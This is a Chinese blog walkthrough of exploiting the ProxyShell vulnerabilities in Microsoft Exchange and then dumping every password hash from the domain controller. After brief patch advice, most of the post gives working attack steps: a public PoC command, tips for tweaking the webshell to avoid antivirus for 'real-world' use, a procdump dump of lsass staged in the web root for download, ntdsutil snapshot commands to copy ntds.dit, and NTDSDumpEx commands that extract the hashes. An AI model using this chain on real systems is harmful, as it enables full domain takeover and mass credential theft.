利用ProxyShell漏洞获取域控所有Hash

2021-09-06 10:20:46 浏览数 (2)

ProxyShell简介

ProxyShell 由三个漏洞组成:

CVE-2021-34473:可导致 ACL 绕过的预认证路径混淆漏洞

CVE-2021-34523:在 Exchange PowerShell 后台的提权漏洞

CVE-2021-31207:可导致 RCE 的认证后任意文件写漏洞

未认证攻击者可利用 ProxyShell 漏洞通过被暴露的端口443在微软 Exchange Server 上执行任意命令。

与3月份微软修复的Proxylogon漏洞相比,ProxyShell不需要知道目标管理员邮箱即可利用,危害性更高。

影响范围

Microsoft Exchange Server 2010

Microsoft Exchange Server 2013

Microsoft Exchange Server 2016

Microsoft Exchange Server 2019

处置建议

当前微软官方已发布以上漏洞受影响版本的安全补丁,强烈建议受影响的用户尽快安装安全补丁进行防护。

建议受影响用户通过以下链接进行手动更新:

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207

测试过程

测试环境

本地搭建的测试环境:

  • Microsoft Windows Server 2016 Datacenter
  • Exchange Server 2016 CU15 具体版本号可在owa页面查看源代码,在图标ico的链接处可以看到内部版本号。

根据微软官网Exchange Server内部版本号也可以进行对应

https://docs.microsoft.com/zh-cn/Exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019

外部打点

访问目标并确认服务无异常

通过POC获取权限

https://github.com/dmaasland/proxyshell-poc

用法

代码语言:python代码运行次数:0复制
python3.8 proxyshell_rce.py -u https://小生观察室 -e administrator@小生观察室

该POC默认自带的马容易被查杀,在实战中建议对马内容进行自定义,我这里是进行修改后执行并获得shell

如需替换可利用ProxyShell_Payload对Conten里面的内容进行替换

利用工具:https://github.com/Ridter/proxyshell_payload

代码语言:javascript复制
坑点:
实战中遇到很多Exchange的环境虽然是system权限,但依然无法执行命令,会出现拒绝访问等情况。一般出现这样的情况是被限制执行命令或者杀软导致,可以尝试BOF进行绕过【下一篇再详细说明】

该漏洞虽然不需要管理员邮箱,但是在实战中建议还是以Exchange Administrative Group中的邮箱用户为主,但很多时候无法找到该组里面对应的邮箱地址,为此需要用到自动获取对应邮箱信息的脚本,可以在公众号回复ProxyShell获取邮箱进行获取。

获取域控权限

进一步进行信息收集

通过对比进程发现存在杀软

查询域控制器

发现并没有返回常见的IPV4地址

这里利用到一个小技巧,可以通过nslookup直接寻找域控制器的地址

代码语言:javascript复制
nslookup -type=SRV _ldap._tcp

经过对比IP地址发现当前exchange服务器与域控机器为同一台。

代码语言:javascript复制
这里因为本地测试,所以环境全部搭建在一起,实战中也会遇到这样的情况,但也有出现不同的机器进行分别管理

获取域控hash

既然已经确定了机器位置就尝试去获取Hash,我这里为了方便用的是mimikatz procdump的组合

将procdump上传到目标机器并执行

lsass.dmp文件打包并通过web的方式下载到本地

代码语言:javascript复制
makecab C:inetpubwwwrootaspnet_clientlsass.dmp C:inetpubwwwrootaspnet_clientlsass.zip

将下载的lsass.zip文件解压并存放在mimikatz同级目录下,并通过mimikatz获取域控管理员hash信息

获取到域管信息

对于这步如果感觉相对比较麻烦,可以直接使用pwdump8

说明文档

https://www.openwall.com/passwords/windows-pwdump

下载地址

https://download.openwall.net/pub/projects/john/contrib/pwdump/pwdump8-8.2.zip

获取域控内所有hash

先导出ntds.dit中的内容【在域控服务器上操作】

文件路径c:windowsntdsntds.dit

  • 创建快照
代码语言:javascript复制
ntdsutil snapshot "activate instance ntds" create quit quit

  • 挂载快照
代码语言:javascript复制
ntdsutil snapshot "mount {8b40c128-b348-4443-8197-fac604449900}" quit quit

  • 复制ntds.dit文件
代码语言:javascript复制
copy C:$SNAP_202109032304_VOLUMEC$windowsNTDSntds.dit ntds.dit

  • 卸载快照
代码语言:javascript复制
ntdsutil snapshot "unmount {8b40c128-b348-4443-8197-fac604449900}" quit quit

  • 删除快照
代码语言:javascript复制
ntdsutil snapshot "delete {8b40c128-b348-4443-8197-fac604449900}" quit quit

最后利用NTDSDumpEx工具进行内容提取,将ntds.ditNTDSDumpEx放在目前机器同一个文件夹下执行

https://github.com/zcgonvh/NTDSDumpEx/releases

如果在能获取system.hiv文件的情况下,就执行以下步骤

代码语言:javascript复制
NTDSDumpEx.exe -d ntds.dit -s system.hiv -o xiaoshengguanchashi.txt -h -m -p

如果不能获取system.hiv文件的情况下,执行如下步骤

  • 获取当前系统的SYSKEY
代码语言:javascript复制
NTDSDumpEx.exe -r

  • 利用SYSKEY获取hash信息
代码语言:javascript复制
NTDSDumpEx.exe -d ntds.dit -k 1026DD36333AEE8B3E593A5502A7967C -o xiaoshengguanchashi.txt -h -m -p

将生成的xiaoshengguanchashi.txt下载到本地打开即可看到所有的hash信息

登录exchang邮箱

将NTML进行解密即可登录

0 人点赞